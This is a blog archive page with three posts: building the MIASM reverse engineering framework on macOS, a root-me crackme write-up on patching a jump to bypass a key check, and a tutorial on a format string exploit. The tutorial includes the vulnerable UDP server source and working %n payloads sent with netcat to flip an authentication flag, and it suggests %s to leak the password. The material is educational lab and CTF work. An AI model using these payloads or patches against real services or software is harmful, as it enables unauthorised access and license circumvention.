Monthly Archives: December 2018

Installing MIASM on macOS

I’ve been reading the MIASM.re blog recently and I wanted to give miasm a try. The scope of this article is to provide guidance on how to build miasm on macOS and introduce miasm to my readers.

Miasm is a free and open source (GPLv2) reverse engineering framework. Miasm aims to analyze / modify / generate binary programs. Here is a non exhaustive list of features:

https://github.com/cea-sec/miasm/

If you’re curious about miasm’s powers you should give these articles a quick read:

Using MIASM with Docker

To execute the following command you must have Docker installed.

docker pull miasm/base

In order to get a running shell and mount the current working directory in the container you can use the following command:

docker run --rm -it --user root -v ${PWD}:/host miasm/base bash 

The working directory of the host machine is mounted in the container under /host. Running miasm scripts with python should be straight forward now.

One drawback to this approach is that the docker image was updated a year ago and it might not contain the latest functionality.

Building MIASM os macOS

To build MIASM on macOS you will need Python 2.7.* installed. If you don’t have it you can use PyEnv to install it. To build Python you need to install openssl from brew, link it and export the compiler variables. After getting that done you can proceed by installing elfesteem and other miasm dependencies.

git clone https://github.com/serpilliere/elfesteem.git elfesteem 
cd elfesteem
python setup.py build
python setup.py install

pip install pyparsing
pip install pycparser

Now clone miasm’s repo and prepare manually patch a header file.

git clone https://github.com/cea-sec/miasm.git miasm
cd miasm
# patch the file (details below)
python setup.py build
python setup.py install

If you build MIASM before the patch the build will fail with errors indicating the use of two undeclared identifiers: __LITTLE_ENDIAN and __BIG_ENDIAN. To fix this, edit the miasm2/jitter/vm_mngr.h file as shown in the github link.

Building and installing miasm should work now. To check if it’s working try running a script from the examples directory.

(miasm) ➜  miasm git:(master) python example/disasm/full.py
usage: Disassemble a binary [-h] [-m ARCHITECTURE] [-f] [-b BLOCKWATCHDOG]
[-n FUNCSWATCHDOG] [-r] [-v] [-g] [-z] [-l] [-s]
[-o SHIFTOFFSET] [-a] [-i] [-c] [-d] [-p] [-x]
[-y]
filename [address [address …]]
Disassemble a binary: error: too few arguments

Next step is to add miasm’s jitter libraries to the path. Your miasm location and build folder name may be different:

xport DYLD_LIBRARY_PATH="~/miasm/miasm/build/lib.macosx-10.14-x86_64-2.7/miasm2/jitter:~/miasm/miasm/build/lib.macosx-10.14-x86_64-2.7/miasm2/jitter/arch"

Thanks for reading and happy holidays!

Keygenme or Not

Keygenme or Not is a cute reversing challenge I found on root-me.org. It requires an username and an activation key.  I particularly enjoyed this challenge and decided to make a blog post about it. The twist of this challenge is that you can solve it without writing any code, thus the name ‘Keygenme or Not’.

If you want to solve this challenge but you’re stuck you should definitely give it one more try because solving it is very easy.  Come back if you’d like to see the keygen code and my thoughts about this challenge.
Let’s imagine that this is in fact a useful program with poorly implemented protection. The program KMN is registered to the user ‘root-me.org’ and will work only with their key. Using any other combination of username and key won’t make the program work, even if they’re valid.

Let’s see how KMN authenticates users, it gets the username and the key and after that it calls the _auth function. After the _auth function returns, the program checks if the authentication was successful by comparing _auth’s return value with zero. If the return value of _auth is any other value other than zero then the authentication fails.


__text:0000000100000D81                 call    _auth __text:0000000100000D86                 cmp     eax, 0

We shouldn’t patch the cmp instruction and let the program do it’s “thing”, because the _auth sets some internal state that we need later on.
Now, I hope that you’re versed in reversing because I’ll skip some details. The only part that interests me is the loop that derives the application key from the username. I have reverse engineered this part and posted the C code in this article.

If we look at the locLastCheck we can see that the application key for the username ‘root-me.org’ is hardcoded and all you have to do to get the flag is provide KMN with it. 

We can avoid the hardcoded username constraint by pathing the jz instruction to jmp, this way the program will check if the application key is correct and it will work regardless of username. And in order to build a keygen we will have to remove locLastCheck entirely and just print the computed uiSeed.


Below is my code for the keygen:


And the demonstration that the patched binary actually works with valid activation keys:

➜  Desktop ./macho_patched
.username.
dnutiu
.activation key.
6232821
Authenticated! You can use this password to valid8
5;@PO-d{bEN~


Thank you for reading and happy holidays!

Format String Exploit

Hello and welcome to Nucu Labs agent! 

We’ve been contracted by some external contractors to help them break…, I mean, assist them in making their life easier with their “competition”.

We obtained their competition’s software from a poorly configured AWS server.

Their competition, X, uses the software in order to setup a private communication channel to their servers, the software is simple, it fires up a server, listens on a port and waits for the right password, when the right password is entered, the server remembers the client and stops asking for passwords, simple.

Luckily the source code was also lying around otherwise we would had to reverse engineer the binary ourselves, trivial, I know.

Here’s the source code, take a look at yourself and take your time, don’t want to be missing something.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <syslog.h>
#include <time.h>

#define PORT 9090
#define BUFFER_LENGTH 500
#define MIN_PASSWORD_LENGTH 5

char *password;
int security_flag = 0;

/* This function will initialize the program */
void initialize(void) {
    int i;
    password = malloc(sizeof(char) * 10);
    srand(time(0));

    for (i = 0; i < 9; i++) {
        double f = (double)rand() / RAND_MAX;
        password[i] = 65 + f * (90 - 65);
    }
    password[9]  = '\n';
    password[10] = '\0';

    printf("Server initialized!\n");
    printf("Server password: %s", password);

    fflush(stdout);
}

int main(void) {
    struct sockaddr_in server;
    struct sockaddr_in client;
    char buf[BUFFER_LENGTH];
    char responseBuf[BUFFER_LENGTH];
    int clientLen = sizeof(struct sockaddr_in);

    initialize();

    /* Setup server */
    int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    memset((char *) &server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = htonl(INADDR_ANY);
    server.sin_port = htons(PORT);

    if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0) {
        perror("ERROR on binding");
    }
        
    /* Sync server, handle only one client, low budget */
    for (;;) {
        /* Set buffers to zero so no overlapping */
        bzero(buf, BUFFER_LENGTH);
        bzero(responseBuf, BUFFER_LENGTH);
        int size = recvfrom(sock, &buf, BUFFER_LENGTH-1, 0, (struct sockaddr *) &client, &clientLen);
        printf("size received: %d\n", size);

        if (security_flag != 0 || (strcmp(buf, password) == 0 && size > MIN_PASSWORD_LENGTH)) { 
            // When password is correct, let vadim see secret orders from network and don't require password anymore..
            sendto(sock, "secret unlocked\n", 17, 0, (struct sockaddr *) &client, clientLen);
            security_flag = 1;
            // [Imagine secret menu here]
        } else if (size > MIN_PASSWORD_LENGTH) {
            char logBuffer[BUFFER_LENGTH] = {'\0'};

            int size = sprintf(logBuffer, buf);
            logBuffer[size] = '\0';

            // ECHO VADIM THE PASSWORD, SO HE KNOW HE IMBECILE!
            sendto(sock, logBuffer, size+1, 0, (struct sockaddr *) &client, clientLen);

            fflush(stdout);
        }
    }
    close(sock);

    return EXIT_SUCCESS;
}

Have you read the source code? Okay good.

Remember, our goal is to exploit this software remotely, we will need to design an exploit.

Lab setup

It is recommended that you fire up a Linux 32 bit machine on your VirtualBox if you host isn’t Linux.

As you can see (assuming that you’ve read the code), we’re interested in either switching the security flag remotely or getting the program to spit out the password, both are possible, both are, but based on our lab testing we could only switch the security flag. If you figure out how to get the password then please tell us and you may even get a promotion and a free bottle of vodka.

These are the things I’m talking about. Go back and revisit the code if you’ve forgotten what they do already.

char *password; // Generated randomly.
int security_flag = 0; // Just an integer. Non zero = win

When we compile the program we get this, bingo:

➜  /vagrant gcc -fno-stack-protector my_server.c -o mserv
my_server.c: In function ‘main’:
my_server.c:72:13: warning: format not a string literal and no format arguments [-Wformat-security]
             int size = sprintf(logBuffer, buf);
             ^

We compiled the binary with the flag -fno-stack-protector because we want to extract the password, and when the stack is protected we can’t extract it! GCC inserts some extra code in the binary to abort the execution if the stack becomes corrupted. 

➜  /vagrant objdump -t mserv | egrep "password|flag"
0804a088 g     O .bss	00000004              security_flag
0804a08c g     O .bss	00000004              password

As you can see if we run objdump -t to get the symbols and filter them with egrep. What we care about is the addresses of the security_flag and password. But how will this help us? This will help us because printf uses the stack. Pick one of the following training material and read it then try to bypass the program and make it send you the secret menu. I’m sure you can do it and if not, then read on.

Switching the security_flag

Switching the security flag is easy, all we have to do is make the pop the stack until we’re at the beginning of our format string and then make the format string containing the 4 byte address that we want to write to. 

In order to write to that address we will use %n and to pop the stack %.8x.

  • %n – writes the total number of printed characters to a variable.
  • %.8x – displays an address in a pretty way.

Let’s use python to simplify our exploit techniques by saving us lots of characters to type.

We fire two terminals, one for the program and one for our exploit.

// Sending 123456 to the server echoes it back to us because that's what the server is supposed to do.
➜  ~ python3 -c "print('123456')" | nc 127.0.0.1 -u 9090
123456

// We can unlock the secret by looking at the other terminal and sending it the correct password
➜  ~ python3 -c "print('KCOIAMKAF')" | nc 127.0.0.1 -u 9090
secret unlocked

// restart the server.

Now, let’s unlock the secret by not knowing the correct password and by only switching the security flag, as we seen earlier, it’s address is: 0804a088.

// If we send %.8x. 10 times we get the following output back. We're trying to pop the stack until we're at the beginning of our format string, this way we can inject things.

➜  ~ python3 -c "print('%.8x.'*10)" | nc 127.0.0.1 -u 9090
000001f3.00000000.bfd45c74.bfd45888.b753a000.bfd457b4.00000000.30303030.33663130.3030302e

// We send out 'aaaa' which is 61616161 in hex and look, there's is a response containing aaaa. 
➜  ~ python3 -c "print('aaaa'+'%.8x.'*10)" | nc 127.0.0.1 -u 9090
aaaa000001f3.00000000.bfd45c74.bfd45888.b753a000.bfd457b4.00000000.61616161.30303030.33663130.

// Narrowing it down we have to send 7 times %x in order to get the stack to point to our string. If we send 8 we miss it.
➜  ~ python3 -c "print('aaaa'+'%.8x.'*8)" | nc 127.0.0.1 -u 9090
aaaa000001f3.00000000.bfd45c74.bfd45888.b753a000.bfd457b4.00000000.61616161.

To write to the security flag we will make the stack point to our string and we will replace the aaaa with the address of the security_flag which is: 0804a088.

➜  ~ python -c "print('\x08\x04\xa0\x88'+'%.8x.'*8+'')" | nc -u 127.0.0.1 9090
��000001f3.00000000.bfea5bd4.bfea57e8.b7614000.bfea5714.00000000.88a00408.
// wait this doesn't look good, it looks like our address is displayed in reverse, this has to do with endianness, let's reverse the address.

➜  ~ python -c "print('\x88\xa0\x04\x08'+'%.8x.'*8+'')" | nc -u 127.0.0.1 9090
�000001f3.00000000.bfea5bd4.bfea57e8.b7614000.bfea5714.00000000.0804a088.

All we have to do now is go back one address and write to it:

// It doesn't matter what value we write to the flag since the program only checks if flag is zero.
➜  ~ python -c "print('\x88\xa0\x04\x08'+'%.8x.'*7+'%n')" | nc -u 127.0.0.1 9090
�000001f3.00000000.bfa41914.bfa41528.b7552000.bfa41454.00000000.

// Nothing happens. But if we try to contact the server again:
➜  ~ nc -u 127.0.0.1 9090
hello
secret unlocked
how
secret unlocked

Getting the password

In theory getting the password should work in the same way as switching the secret_flag. Replace %n with %s and make sure that you’ve got address of the password in the beginning of the format buffer that you’re sending to the server.

That’s all! Thank you for reading and have a nice day!